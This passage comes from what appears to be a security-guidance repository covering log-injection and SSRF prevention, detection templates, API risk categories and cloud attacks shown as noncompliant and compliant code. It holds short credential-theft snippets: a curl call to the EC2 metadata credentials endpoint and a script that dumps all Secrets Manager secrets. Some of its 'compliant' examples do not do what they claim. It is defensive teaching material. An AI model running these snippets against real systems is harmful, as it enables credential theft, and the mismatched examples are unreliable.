encoding: If the logging framework does not provide automatic neutralization mechanisms, implement context-specific output encoding to prevent injection attacks. Use the appropriate encoding technique based on the log format and syntax, such as HTML entity encoding or URL encoding.\n\n1. Limit the verbosity of log messages: Be mindful of the information logged and avoid including sensitive data in log statements. Only log the necessary details required for troubleshooting or auditing purposes, while excluding sensitive information like passwords, Personally Identifiable Information (PII), or authentication tokens.\n\n1. Configure log file permissions: Ensure that log files have appropriate permissions to restrict unauthorized access. Restrict read and write permissions to only authorized users or system processes. Regularly monitor and manage access control settings for log files.\n\n1. Implement centralized log management: Centralize log storage and management in a dedicated log server or a Security Information and Event Management (SIEM) system. Centralization allows for better control, monitoring, and analysis of log data, minimizing the risk of log injection and facilitating detection of suspicious activities.\n\n1. Regularly monitor and review logs: Regularly review log files for any signs of log injection attempts or suspicious log entries. Implement automated log analysis and intrusion detection systems to identify potential log injection attacks or anomalous log patterns.\n\n1. Keep logging frameworks up to date: Keep your logging frameworks and libraries up to date with the latest security patches and updates. Stay informed about any security advisories or vulnerabilities related to the logging components used in your application.\n\n1. Educate developers: Provide training and guidance to developers on secure coding practices for logging. Emphasize the importance of proper input validation, output neutralization, and the risks associated with log injection vulnerabilities.\n\nBy implementing these preventive measures, you can mitigate the risk of Improper Output Neutralization for Logs and ensure that your log files remain reliable, accurate, and free from malicious content. Proper input validation, secure logging frameworks, context-specific output encoding, and regular log monitoring are essential steps to prevent log injection vulnerabilities.\n\n\n```\nid: improper-output-neutralization-logs\ninfo:\n  name: Improper Output Neutralization for Logs\n  author: Your Name\n  severity: medium\n  description: Detects vulnerabilities related to improper output neutralization in log messages.\n  references:\n    - https://example.com\ntags:\n  - web\n  - logging\nrequests:\n  - name: Improper Output Neutralization for Logs\n    path:\n      - /login\n      - /admin\n      - /api/v1\n    matchers:\n      - type: status\n        status:\n          - 200\n      - type: word\n        words:\n          - \"{{*}}\"\n      - type: word\n        words:\n          - \"<?php\"\n      - type: word\n        words:\n          - \"system(\"\n```\n\n\n### Omission of Security-relevant Information\n\nOmission of Security-relevant Information is a security vulnerability that occurs when an application fails to log or report important security-related events or incidents. This omission can result in a lack of visibility into potential security threats or the inability to detect and respond to security incidents in a timely manner.\n\nTo prevent the Omission of Security-relevant Information, you should follow these preventive measures:\n\n1. Identify security-relevant events: Determine the types of security-related events that are crucial for monitoring and detection within your application. This may include failed login attempts, access control failures, suspicious activities, or any other security-related incidents specific to your application and environment.\n\n1. Implement comprehensive logging: Ensure that your application logs all identified security-relevant events. Log the necessary details such as timestamps, user information, affected resources, and relevant context that can assist in incident investigation and response.\n\n1. Set appropriate log levels: Define appropriate log levels for different security events based on their criticality. Use log levels consistently to ensure that security-relevant events are captured and logged accordingly.\n\n1. Implement centralized log management: Centralize log storage and management in a dedicated log server or a Security Information and Event Management (SIEM) system. Centralization allows for better visibility, correlation, and analysis of security events across your application or infrastructure.\n\n1. Regularly review and analyze logs: Establish a routine practice of reviewing and analyzing logs for security events and incidents. Assign responsibility to a designated team or individual to regularly monitor and analyze log data for any potential security threats or anomalies.\n\n1. Implement log retention policies: Define log retention policies that align with your compliance requirements and incident response needs. Retain logs for an appropriate period to ensure that historical data is available for security investigations or forensic analysis.\n\n1. Automate log analysis: Implement automated log analysis tools or intrusion detection systems to assist in the detection of security events or anomalies. Use these tools to monitor log files in real-time and generate alerts or notifications for potential security incidents.\n\n1. Implement real-time monitoring: Use real-time monitoring techniques to actively track and respond to security events as they occur. Implement mechanisms such as log streaming, event triggers, or alerting systems to ensure prompt notifications and response to security incidents.\n\n1. Perform regular security assessments: Conduct regular security assessments and penetration testing to identify any gaps or vulnerabilities in your application's logging and monitoring capabilities. Use the results of these assessments to make necessary improvements and address any security weaknesses.\n\n1. Stay updated with security best practices: Stay informed about the latest security best practices, frameworks, and guidelines related to logging and security monitoring. Regularly update your logging mechanisms and practices to align with industry standards and emerging security threats.\n\nBy implementing these preventive measures, you can ensure that security-relevant information is properly logged and reported, enabling effective detection and response to security incidents. Comprehensive and accurate logging practices are essential for maintaining the security of your application and infrastructure, facilitating incident investigations, and supporting compliance requirements.\n\n\n```\nid: omission-security-relevant-info\ninfo:\n  name: Omission of Security-relevant Information\n  author: Your Name\n  severity: high\n  description: Detects vulnerabilities related to the omission of security-relevant information in error messages or responses.\n  references:\n    - https://example.com\ntags:\n  - web\n  - security\nrequests:\n  - name: Omission of Security-relevant Information\n    path:\n      - /login\n      - /admin\n      - /api/v1\n    matchers:\n      - type: status\n        status:\n          - 200\n      - type: word\n        words:\n          - \"Unauthorized\"\n      - type: word\n        words:\n          - \"Forbidden\"\n      - type: word\n        words:\n          - \"Access denied\"\n```\n\n### Sensitive Information into Log File\n\nSensitive Information into Log File refers to the unintentional logging or inclusion of sensitive data within log files. This can occur when application logs capture and store sensitive information such as passwords, credit card numbers, personally identifiable information (PII), or any other confidential data. Storing sensitive information in log files poses a significant security risk as it increases the potential for unauthorized access, data leakage, and compliance violations.\n\nTo prevent the inclusion of sensitive information into log files, consider the following preventive measures:\n\n1. Implement a logging policy: Define a logging policy that explicitly prohibits the logging of sensitive information. Clearly outline what types of data should not be included in log files and educate developers and system administrators about the policy.\n\n1. Apply proper data sanitization: Implement proper data sanitization techniques to prevent sensitive information from being logged inadvertently. Develop a logging framework or use existing libraries that automatically redact or obfuscate sensitive data before logging. Apply techniques such as masking, truncation, or encryption to protect sensitive information.\n\n1. Utilize appropriate log levels: Ensure that sensitive information is not logged at inappropriate log levels. Set log levels in a way that sensitive data is not included in logs intended for debugging, development, or general information purposes. Properly categorize log levels based on the sensitivity of the information being logged.\n\n1. Avoid logging sensitive input parameters: Exercise caution when logging input parameters, especially if they contain sensitive data. If necessary, consider logging only non-sensitive portions of the input data or use a whitelist approach to explicitly exclude sensitive fields from being logged.\n\n1. Implement log filtering: Apply log filtering mechanisms to remove or obfuscate sensitive information from log files. Use regular expressions or predefined patterns to detect and filter out sensitive data before it is stored in log files. Regularly review and update the filtering rules as necessary.\n\n1. Use secure logging storage: Ensure that log files are stored securely with appropriate access controls. Limit access to log files to authorized personnel only. Implement encryption or encryption at rest mechanisms to protect log files from unauthorized access or disclosure.\n\n1. Regularly review log files: Perform regular log file reviews to identify any instances of sensitive information being logged. Implement automated log analysis tools or manual inspection techniques to detect and remediate any inadvertent logging of sensitive data.\n\n1. Pseudonymize or anonymize data: If there is a need to log certain sensitive information for debugging or analysis purposes, consider pseudonymizing or anonymizing the data. Replace actual sensitive values with pseudonyms or anonymized identifiers to protect the privacy and confidentiality of the data.\n\n1. Establish proper access controls: Implement strict access controls for log files, including file permissions and user authentication mechanisms. Only grant access to log files to authorized individuals who require it for operational or security purposes.\n\n1. Train and educate personnel: Provide training and education to developers, system administrators, and other personnel involved in log file management. Raise awareness about the risks associated with logging sensitive information and promote best practices for secure logging.\n\nBy implementing these preventive measures, you can reduce the risk of sensitive information being unintentionally logged and stored in log files. Taking proactive steps to protect the confidentiality and integrity of log data helps maintain compliance with data protection regulations, mitigates the risk of data breaches, and preserves the privacy of sensitive information.\n\n\n```\nid: sensitive-info-log-file\ninfo:\n  name: Sensitive Information into Log File\n  author: Your Name\n  severity: high\n  description: Detects vulnerabilities related to logging sensitive information into log files.\n  references:\n    - https://example.com\ntags:\n  - web\n  - security\nrequests:\n  - name: Sensitive Information into Log File\n    path:\n      - /\n    matchers:\n      - type: status\n        status:\n          - 200\n    responses:\n      - type: word\n        words:\n          - \"password\"\n          - \"credit card\"\n          - \"social security number\"\n      - type: word\n        words:\n          - \"private key\"\n          - \"API key\"\n          - \"access token\"\n```\n\n\n\n### Server-Side Request Forgery (SSRF)\n\nServer-Side Request Forgery (SSRF) is a vulnerability that allows an attacker to manipulate the server-side functionality of an application to make arbitrary requests on behalf of the server. The attacker typically exploits this vulnerability to interact with internal resources, perform port scanning, or make requests to other external systems. SSRF attacks can lead to sensitive data exposure, unauthorized access to internal resources, and potential remote code execution.\n\nTo prevent Server-Side Request Forgery (SSRF) vulnerabilities, consider the following preventive measures:\n\n1. Input validation and whitelisting: Implement strong input validation and enforce strict whitelisting of allowed URLs or domains. Validate and sanitize user-supplied input, such as URLs or IP addresses, to prevent injection of malicious or unexpected values. Use a whitelist of trusted domains or IP addresses that the server is allowed to communicate with.\n\n1. Restrict network access: Configure network firewalls and security groups to restrict outbound network access from the server. Only allow connections to necessary resources and services, blocking access to internal or sensitive systems that should not be accessed by the server.\n\n1. Use secure protocols and APIs: When making outgoing requests, use secure protocols such as HTTPS to communicate with external systems. Validate the SSL/TLS certificates of the target servers to ensure the integrity and authenticity of the communication. Avoid using insecure or deprecated protocols and APIs that may be vulnerable to SSRF attacks.\n\n1. Isolate server components: Utilize network segmentation and isolate server components to prevent direct access to internal resources. Place servers in separate network segments or subnets, and restrict their access to only necessary resources and services.\n\n1. Configure strong server-side controls: Implement server-side controls to prevent SSRF attacks. This may include implementing allowlists of allowed protocols, ports, and domains, as well as enforcing appropriate security policies at the server level.\n\n1. Implement request validation and filtering: Validate and filter user-supplied URLs and input to ensure they conform to expected patterns and protocols. Consider using security libraries or frameworks that provide built-in protection against SSRF attacks, such as URL validation and sanitization functions.\n\n1. Least privilege principle: Ensure that the server's permissions and privileges are limited to what is necessary for its intended functionality. Avoid running the server with excessive privileges or accessing sensitive resources that are not required for its operation.\n\n1. Secure session management: Implement secure session management practices, including strong session identifiers, session expiration, and secure session storage. This helps prevent attackers from leveraging SSRF vulnerabilities to hijack active sessions or perform unauthorized actions.\n\n1. Regular security updates and patches: Keep server software, libraries, and frameworks up to date with the latest security patches and updates. SSRF vulnerabilities can be present in various components, including web servers, frameworks, or third-party libraries. Regularly monitor and apply security updates to mitigate known vulnerabilities.\n\n1. Perform security testing and code review: Conduct regular security testing, including vulnerability scanning and penetration testing, to identify and remediate SSRF vulnerabilities. Additionally, perform code reviews to identify potential SSRF-prone code patterns and ensure secure coding practices are followed.\n\nBy implementing these preventive measures, you can significantly reduce the risk of SSRF vulnerabilities and protect your application from unauthorized access to internal resources and potential data breaches. It is important to adopt a security-first mindset throughout the application development lifecycle and regularly assess and enhance the security posture of your systems.\n\n\n```\nid: ssrf-detection\ninfo:\n  name: Server-Side Request Forgery (SSRF) Detection\n  author: Your Name\n  severity: high\n  description: Detects vulnerabilities related to Server-Side Request Forgery (SSRF) attacks.\n  references:\n    - https://example.com\ntags:\n  - web\n  - security\nrequests:\n  - name: SSRF Detection\n    path:\n      - /\n    matchers:\n      - type: status\n        status:\n          - 200\n    match:\n      - type: word\n        words:\n          - \"Internal Server Error\"\n          - \"Connection refused\"\n          - \"Invalid URL\"\n      - type: regex\n        part: body\n        regex: '(https?|ftp)://[^/]+'\n```\n\n\n## API\n\n### Category: Broken Access Control\n\nInadequate enforcement of access controls, allowing unauthorized users to access sensitive resources or perform unauthorized actions.\nExample of attacks: Accessing restricted data or functionality, privilege escalation, horizontal/vertical privilege escalation.\n\n### Category: Excessive Data Exposure\n\nAPIs exposing more data than necessary, potentially leaking sensitive information.\nExample of attacks: Exposure of personally identifiable information (PII), financial data, or sensitive business data through API responses.\n\n### Category: Broken Authentication\n\nFlaws in authentication mechanisms that can lead to unauthorized access or account takeover.\nExample of attacks: Credential stuffing, session fixation, brute-forcing authentication tokens or passwords.\n\n### Category: Injection Attacks\n\nLack of proper input validation and sanitization, enabling attackers to inject malicious code or exploit vulnerabilities.\nExample of attacks: SQL injection, OS command injection, XML/XXE injection, NoSQL injection.\n\n### Category: Improper Error Handling\n\nAPIs revealing excessive or sensitive error details, which can aid attackers in exploiting vulnerabilities.\nExample of attacks: Information disclosure, error-based enumeration, bypassing security controls using error messages.\n\n### Category: Security Misconfiguration\n\nPoorly configured API settings, default credentials, or inadequate security configurations.\nExample of attacks: Unauthorized access to API endpoints, access to sensitive configuration data, exploitation of default credentials.\n\n### Category: Insecure Direct Object References\n\nImproper access control mechanisms that allow attackers to directly reference internal objects or resources.\nExample of attacks: Accessing other users' data, tampering with internal object references, bypassing authorization checks.\n\n### Category: Insufficient Logging and Monitoring\n\nLack of proper logging and monitoring, hindering the detection and response to security incidents.\nExample of attacks: Unauthorized access attempts, API abuse, suspicious activity going unnoticed due to insufficient logging.\n\n### Category: Insecure Serverless Deployments\n\nSecurity weaknesses in serverless architectures, including issues with configuration, event handling, and access controls.\nExample of attacks: Unauthorized execution of serverless functions, sensitive data exposure through serverless configurations.\n\n### Category: Denial of Service (DoS)\n\nVulnerabilities that can be exploited to overload or disrupt the availability of API services.\nExample of attacks: Sending excessive requests, resource exhaustion, API rate limiting bypass, flooding API endpoints.\n\n\n### Ref\n\n* https://capec.mitre.org/index.html\n\n"
  },
  {
    "path": "docs/attacks/attacks.md",
    "content": "---\nlayout: default\ntitle: Attacks\nnav_order: 10\nhas_children: true\npermalink: docs/rules\n---\n\n# Attacks\n{: .no_toc }\n\n{: .fs-6 .fw-300 }\n"
  },
  {
    "path": "docs/attacks/cloud.md",
    "content": "---\nlayout: default\ntitle: Cloud Attacks\nparent: Attacks\n---\n\n# Cloud Attacks\n{: .no_toc }\n\n\n## Table of contents\n{: .no_toc .text-delta }\n\n1. TOC\n{:toc}\n\n---\n\n\n\n\n## Inadequate Identity, Credential, and Access Management (ICAM):\n\nWeak or misconfigured access controls, improper user privilege management, or lack of strong authentication mechanisms can lead to unauthorized access and privilege escalation.\n\nIn the noncompliant code, there is inadequate Identity, Credential, and Access Management (ICAM) in the cloud environment. This means that user identities, credentials, and access controls are not properly managed, increasing the risk of unauthorized access, privilege escalation, and potential data breaches.\n\n\n```\n# Noncompliant: Inadequate ICAM in Cloud\n\nresources:\n  - name: my-bucket\n    type: storage.bucket\n\n  - name: my-instance\n    type: compute.instance\n\n  - name: my-database\n    type: sql.database\n\n  # Access control rules are missing or insufficiently defined\n```\n\nTo address the inadequate ICAM in the cloud environment, it is essential to implement robust identity, credential, and access management practices.\n\n\n```\n# Compliant: Enhanced ICAM in Cloud\n\nresources:\n  - name: my-bucket\n    type: storage.bucket\n    access-control:\n      - role: storage.admin\n        members:\n          - user:john@example.com\n          - group:engineering@example.com\n\n  - name: my-instance\n    type: compute.instance\n    access-control:\n      - role: compute.admin\n        members:\n          - user:john@example.com\n          - group:engineering@example.com\n\n  - name: my-database\n    type: sql.database\n    access-control:\n      - role: cloudsql.admin\n        members:\n          - user:john@example.com\n          - group:engineering@example.com\n```\n\nIn the compliant code, each resource in the cloud environment has an associated access control configuration. This includes properly defined roles and membership assignments, ensuring that only authorized users or groups have access to the respective resources. By implementing adequate ICAM practices, the risk of unauthorized access and privilege escalation is significantly reduced, enhancing the overall security of the cloud environment.\n\n\n\n## Insecure Interfaces and APIs\n\nVulnerabilities in cloud service interfaces and APIs can be exploited to gain unauthorized access, inject malicious code, or manipulate data.\n\nIn the noncompliant code, there are insecure interfaces and APIs in the cloud environment. This means that the interfaces and APIs used to interact with cloud services are not properly secured, potentially exposing sensitive data, allowing unauthorized access, or enabling malicious activities.\n\n\n\n```\n# Noncompliant: Insecure Interfaces and APIs in Cloud\n\nimport requests\n\n# Insecure API endpoint without proper authentication and authorization\napi_endpoint = \"http://api.example.com/data\"\nresponse = requests.get(api_endpoint)\n\n# Insecure interface with plaintext transmission of sensitive data\ndef process_data(data):\n    # ... logic to process data ...\n\n    # Insecure transmission of processed data over HTTP\n    requests.post(\"http://example.com/process\", data=data)\n```\n\nTo address the insecure interfaces and APIs in the cloud environment, it is crucial to implement secure practices when interacting with cloud services.\n\n\n\n```\n# Compliant: Secure Interfaces and APIs in Cloud\n\nimport requests\n\n# Secure API endpoint with proper authentication and authorization\napi_endpoint = \"https://api.example.com/data\"\nheaders = {\"Authorization\": \"Bearer <access_token>\"}\nresponse = requests.get(api_endpoint, headers=headers)\n\n# Secure interface with encrypted transmission of sensitive data\ndef process_data(data):\n    # ... logic to process data ...\n\n    # Secure transmission of processed data over HTTPS\n    requests.post(\"https://example.com/process\", data=data, verify=True)\n```\n\n\nIn the compliant code, the API endpoint is accessed securely using HTTPS and includes proper authentication and authorization headers. This ensures that only authorized users can access the API and the data transmitted is protected. Additionally, the interface for processing data utilizes encrypted transmission over HTTPS, providing confidentiality and integrity for the sensitive information being transmitted. By implementing secure interfaces and APIs, the risk of unauthorized access, data breaches, and malicious activities is mitigated in the cloud environment.\n\n\n\n## Data Breaches\n\nSensitive data stored in the cloud can be compromised due to misconfigurations, insecure storage, weak encryption, or insider threats. \n\n\n```\n\n```\n\n\n```\n\n```\n\n\n\n## Insufficient Security Configuration\n\nMisconfigurations in cloud services, infrastructure, or security settings can expose vulnerabilities, allowing unauthorized access or compromising data integrity.\n\nIn the noncompliant code, there are several instances where security configurations are insufficient, leaving the cloud environment vulnerable to attacks. These include using default or weak passwords, allowing unrestricted access to resources, and not enabling necessary security features.\n\n\n```\n# Noncompliant: Insufficient Security Configuration in Cloud\n\nimport boto3\n\n# Using default or weak passwords for authentication\ns3 = boto3.resource('s3')\nbucket = s3.Bucket('my-bucket')\nbucket.upload_file('data.txt', 'data.txt')\n\n# Allowing unrestricted access to resources\ns3 = boto3.resource('s3')\nbucket = s3.Bucket('public-bucket')\nbucket.make_public()\n\n# Not enabling necessary security features\nec2 = boto3.resource('ec2')\ninstance = ec2.create_instances(ImageId='ami-12345678', MinCount=1, MaxCount=1)\ninstance[0].disable_api_termination = False\n```\n\nTo address the issue of insufficient security configuration in the cloud, it is important to follow security best practices and implement robust security measures.\n\n\n\n```\n# Compliant: Strong Security Configuration in Cloud\n\nimport boto3\n\n# Using strong and unique passwords for authentication\ns3 = boto3.resource('s3')\nbucket = s3.Bucket('my-bucket')\nbucket.upload_file('data.txt', 'data.txt', ExtraArgs={'ServerSideEncryption': 'AES256'})\n\n# Restricting access to resources\ns3 = boto3.resource('s3')\nbucket = s3.Bucket('private-bucket')\nbucket.Acl().put(ACL='private')\n\n# Enabling necessary security features\nec2 = boto3.resource('ec2')\ninstance = ec2.create_instances(ImageId='ami-12345678', MinCount=1, MaxCount=1)\ninstance[0].disable_api_termination = True\n```\n\nIn the compliant code, strong and unique passwords are used for authentication, enhancing the security of the cloud resources. Access to resources is restricted, ensuring that only authorized users or services have the necessary permissions. Necessary security features, such as server-side encryption and API termination protection, are enabled to provide additional layers of security. By implementing strong security configurations, the cloud environment is better protected against potential threats.\n\n\n\n## Insecure Data storage\n\nInadequate encryption, weak access controls, or improper handling of data at rest can lead to unauthorized \naccess or data leakage.\n\nIn the noncompliant code, there are instances where data storage in the cloud is insecure. Sensitive data is stored without proper encryption, and there is no mechanism in place to protect the data from unauthorized access or accidental exposure.\n\n\n\n```\n# Noncompliant: Insecure Data Storage in Cloud\n\nimport boto3\n\n# Storing sensitive data without encryption\ns3 = boto3.client('s3')\ns3.put_object(Bucket='my-bucket', Key='data.txt', Body='Sensitive data')\n\n# Lack of access control\ns3 = boto3.resource('s3')\nbucket = s3.Bucket('public-bucket')\nbucket.upload_file('data.txt', 'data.txt')\n\n# No data backup or disaster recovery plan\nrds = boto3.client('rds')\nrds.create_db_snapshot(DBSnapshotIdentifier='my-snapshot', DBInstanceIdentifier='my-db')\n```\n\n\nTo ensure secure data storage in the cloud, it is important to follow best practices and implement appropriate security measures.\n\n\n```\n# Compliant: Secure Data Storage in Cloud\n\nimport boto3\n\n# Storing sensitive data with encryption\ns3 = boto3.client('s3')\ns3.put_object(Bucket='my-bucket', Key='data.txt', Body='Sensitive data', ServerSideEncryption='AES256')\n\n# Implementing access control\ns3 = boto3.resource('s3')\nbucket = s3.Bucket('private-bucket')\nbucket.upload_file('data.txt', 'data.txt', ExtraArgs={'ACL': 'private'})\n\n# Implementing data backup and disaster recovery plan\nrds = boto3.client('rds')\nrds.create_db_snapshot(DBSnapshotIdentifier='my-snapshot', DBInstanceIdentifier='my-db', Tags=[{'Key': 'Environment', 'Value': 'Production'}])\n```\n\nIn the compliant code, sensitive data is stored with encryption using server-side encryption with AES256. Access control is implemented to restrict access to the stored data, ensuring that only authorized users or services can access it. Additionally, a data backup and disaster recovery plan is in place, which includes creating snapshots to enable data recovery in case of any incidents. By implementing secure data storage practices, the cloud environment provides better protection for sensitive information.\n\n\n\n## Lack of Proper Logging and Monitoring\n\nInsufficient monitoring, logging, and analysis of cloud activity can hinder detection of security incidents, leading to delayed or ineffective response.\n\n\n\n\n## Insecure Deployment and Configuration Management\n\nWeaknesses in the process of deploying and managing cloud resources, such as improper change management, can introduce security vulnerabilities.\n\nIn the noncompliant code, there is a lack of secure deployment and configuration management practices in the cloud environment. The code deploys resources and configurations without proper security considerations, such as exposing sensitive information or using default and weak configurations.\n\n\n```\n# Noncompliant: Insecure Deployment and Configuration Management in Cloud\n\nimport boto3\n\ndef deploy_instance():\n    ec2_client = boto3.client('ec2')\n    response = ec2_client.run_instances(\n        ImageId='ami-12345678',\n        InstanceType='t2.micro',\n        KeyName='my-keypair',\n        SecurityGroupIds=['sg-12345678'],\n        UserData='some user data',\n        MinCount=1,\n        MaxCount=1\n    )\n    return response['Instances'][0]['InstanceId']\n\ndef main():\n    instance_id = deploy_instance()\n    print(f\"Instance deployed with ID: {instance_id}\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\nTo ensure secure deployment and configuration management in the cloud, it is important to follow security best practices and apply appropriate configurations to resources.\n\n\n\n```\n# Compliant: Secure Deployment and Configuration Management in Cloud\n\nimport boto3\n\ndef deploy_instance():\n    ec2_client = boto3.client('ec2')\n    response = ec2_client.run_instances(\n        ImageId='ami-12345678',\n        InstanceType='t2.micro',\n        KeyName='my-keypair',\n        SecurityGroupIds=['sg-12345678'],\n        UserData='some user data',\n        MinCount=1,\n        MaxCount=1,\n        TagSpecifications=[\n            {\n                'ResourceType': 'instance',\n                'Tags': [\n                    {\n                        'Key': 'Name',\n                        'Value': 'MyInstance'\n                    }\n                ]\n            }\n        ],\n        BlockDeviceMappings=[\n            {\n                'DeviceName': '/dev/sda1',\n                'Ebs': {\n                    'VolumeSize': 30,\n                    'VolumeType': 'gp2'\n                }\n            }\n        ]\n    )\n    return response['Instances'][0]['InstanceId']\n\ndef main():\n    instance_id = deploy_instance()\n    print(f\"Instance deployed with ID: {instance_id}\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\nIn the compliant code, additional security measures are implemented during the deployment process. This includes:\n\n* Adding appropriate tags to the instance for better resource management and identification.\n* Configuring block device mappings with appropriate volume size and type.\n* Following the principle of least privilege by providing only necessary permissions to the deployment process.\n\n\n## Inadequate Incident Response and Recovery\n\nLack of proper incident response planning and testing, as well as ineffective recovery mechanisms, can result in extended downtime, data loss, or inadequate mitigation of security breaches.\n\nIn the noncompliant code, there is a lack of adequate incident response and recovery practices in the cloud environment. The code does not have any provisions for handling incidents or recovering from them effectively. This can lead to prolonged downtime, data loss, or inadequate response to security breaches or system failures.\n\n\n\n```\n# Noncompliant: Inadequate Incident Response and Recovery in Cloud\n\nimport boto3\n\ndef delete_instance(instance_id):\n    ec2_client = boto3.client('ec2')\n    response = ec2_client.terminate_instances(\n        InstanceIds=[instance_id]\n    )\n    return response\n\ndef main():\n    instance_id = 'i-12345678'\n    delete_instance(instance_id)\n    print(f\"Instance {instance_id} deleted.\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\nTo ensure adequate incident response and recovery in the cloud, it is important to have well-defined processes and procedures in place. The following code snippet demonstrates a more compliant approach:\n\n\n\n```\n# Compliant: Adequate Incident Response and Recovery in Cloud\n\nimport boto3\n\ndef delete_instance(instance_id):\n    ec2_client = boto3.client('ec2')\n    response = ec2_client.terminate_instances(\n        InstanceIds=[instance_id]\n    )\n    return response\n\ndef handle_incident(instance_id):\n    # Perform necessary actions to handle the incident, such as notifying the security team, logging relevant information, etc.\n    print(f\"Incident occurred with instance {instance_id}. Taking appropriate actions.\")\n\ndef main():\n    instance_id = 'i-12345678'\n    handle_incident(instance_id)\n    delete_instance(instance_id)\n    print(f\"Instance {instance_id} deleted.\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\nIn the compliant code, an additional function handle_incident() is introduced to handle incidents appropriately. This function can be customized to include actions such as notifying the security team, logging relevant information, triggering automated response mechanisms, or invoking incident response plans. By having a well-defined incident response process, organizations can effectively respond to and recover from incidents, minimizing their impact on operations and security.\n\n\n\n\n## Shared Technology Vulnerabilities\n\nVulnerabilities in underlying cloud infrastructure, shared components, or hypervisors can impact multiple cloud tenants, potentially leading to unauthorized access or data breaches.\n\n\n\n\n## Account Hijacking and Abuse\n\nUnauthorized access to cloud accounts, compromised user credentials, or misuse of privileges can result in data loss, service disruptions, or unauthorized resource consumption.\n\nIn the noncompliant code, there are no security measures in place to prevent account hijacking and abuse in the cloud environment. The code does not implement strong authentication mechanisms, lacks proper access controls, and does not enforce secure practices, making it vulnerable to unauthorized access and abuse of resources.\n\n\n\n```\n# Noncompliant: Account Hijacking and Abuse in Cloud\n\nimport boto3\n\ndef create_s3_bucket(bucket_name):\n    s3_client = boto3.client('s3')\n    s3_client.create_bucket(Bucket=bucket_name)\n\ndef main():\n    bucket_name = 'my-bucket'\n    create_s3_bucket(bucket_name)\n    print(f\"S3 bucket {bucket_name} created.\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\nTo prevent account hijacking and abuse in the cloud, it is important to implement strong security measures. The following code snippet demonstrates a more compliant approach:\n\n\n\n\n```\n# Compliant: Preventing Account Hijacking and Abuse in Cloud\n\nimport boto3\n\ndef create_s3_bucket(bucket_name):\n    s3_client = boto3.client('s3')\n    s3_client.create_bucket(\n        Bucket=bucket_name,\n        ACL='private',  # Set appropriate access control for the bucket\n        CreateBucketConfiguration={\n            'LocationConstraint': 'us-west-2'  # Specify the desired region for the bucket\n        }\n    )\n\ndef main():\n    bucket_name = 'my-bucket'\n    create_s3_bucket(bucket_name)\n    print(f\"S3 bucket {bucket_name} created.\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\nIn the compliant code, additional security measures are implemented. The bucket is created with a specific access control setting (ACL='private') to ensure that only authorized users can access it. The CreateBucketConfiguration parameter is used to specify the desired region for the bucket, reducing the risk of accidental exposure due to misconfigurations.\n\nTo further enhance security, consider implementing multi-factor authentication (MFA), strong password policies, and role-based access controls (RBAC) for managing user permissions in the cloud environment. Regular monitoring and auditing of account activities can also help detect and prevent unauthorized access or abuse.\n\n\n## Retrieve EC2 Password Data\n\nRetrieve EC2 Password Data is a simulated attack scenario where an attacker attempts to retrieve RDP (Remote Desktop Protocol) passwords from a large number of Windows EC2 instances in AWS. The attacker runs the ec2:GetPasswordData API call from a role that does not have the necessary permissions, trying to exploit the vulnerability.\n\n\nNoncompliant Code:\n\n```\nimport boto3\n\ndef retrieve_ec2_password(instance_id):\n    client = boto3.client('ec2')\n    response = client.get_password_data(InstanceId=instance_id)\n    return response['PasswordData']\n```\n\nThe noncompliant code uses the boto3 Python library to retrieve the EC2 password data by calling the get_password_data API method. However, it does not check if the role executing this code has the necessary permissions (ec2:GetPasswordData) to retrieve the password data.\n\nCompliant Code:\n\n\n```\nimport boto3\nimport botocore\n\ndef retrieve_ec2_password(instance_id):\n    client = boto3.client('ec2')\n    try:\n        response = client.get_password_data(InstanceId=instance_id)\n        return response['PasswordData']\n    except botocore.exceptions.ClientError as e:\n        if e.response['Error']['Code'] == 'UnauthorizedOperation':\n            print(\"Permission denied to retrieve EC2 password data.\")\n        else:\n            print(\"An error occurred while retrieving EC2 password data.\")\n        return None\n```\n\n\n## Steal EC2 Instance Credentials\n\nSteal EC2 Instance Credentials is a simulated attack scenario where an attacker steals EC2 instance credentials from the Instance Metadata Service in AWS. The attacker executes a command on the target EC2 instance to retrieve temporary credentials, and then uses those credentials locally to perform unauthorized actions like running the sts:GetCallerIdentity and ec2:DescribeInstances commands.\n\nNoncompliant Code:\n\n```\n#!/bin/bash\n\n# Retrieves and prints the EC2 instance credentials\ncurl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/\n```\n\nCompliant Code:\n\nThe compliant approach does not involve providing an example of code to steal EC2 instance credentials, as it promotes ethical behavior and compliance with security standards. Unauthorized access or theft of instance credentials is a violation of AWS policies and poses significant security risks. It is important to focus on securing and protecting the EC2 instance credentials by implementing security best practices such as:\n\n* Restricting access to the Instance Metadata Service (169.254.169.254) using security groups or network access control lists (NACLs).\n\n* Implementing IAM roles with the principle of least privilege to grant only necessary permissions to EC2 instances.\n\n* Regularly updating and patching EC2 instances to protect against known vulnerabilities.\nMonitoring and analyzing AWS CloudTrail logs for any suspicious activities related to instance credentials.\n\n\n## Retrieve a High Number of Secrets Manager secrets\n\nRetrieve a High Number of Secrets Manager secrets is a simulated attack scenario where an attacker attempts to retrieve a large number of secrets from AWS Secrets Manager using the secretsmanager:GetSecretValue API.\n\n\nNoncompliant Code:\n\n\n```\nimport boto3\n\nclient = boto3.client('secretsmanager')\n\n# Retrieves and prints all secrets\nresponse = client.list_secrets()\nsecrets = response['SecretList']\nfor secret in secrets:\n    secret_value = client.get_secret_value(SecretId=secret['Name'])\n    print(secret_value['SecretString'])\n```\n\nThe noncompliant code uses the AWS SDK (boto3 in this case) to list all the secrets in AWS Secrets Manager and then retrieves and prints the values of each secret one by one. This code does not implement any restrictions or rate limiting, allowing an attacker to potentially extract a large number of secrets in a single operation. It bypasses any access control or authorization mechanisms that might be in place, and poses a significant security risk by exposing sensitive information.\n\nThe compliant approach does not involve providing an example of code to retrieve a high number of Secrets Manager secrets, as it promotes ethical behavior and compliance with security standards. Unauthorized retrieval of secrets is a violation of AWS policies and can lead to unauthorized access to sensitive information.\n\nTo ensure the security of Secrets Manager secrets, consider implementing the following security measures:\n\n* Apply appropriate access controls: Limit access to Secrets Manager secrets by using IAM policies, granting only necessary permissions to the authorized entities or roles.\n\n* Implement strict access monitoring: Enable AWS CloudTrail to log Secrets Manager API calls and regularly review the logs for any suspicious or unauthorized activities.\n\n* Implement strong secrets management practices: Rotate secrets regularly, use 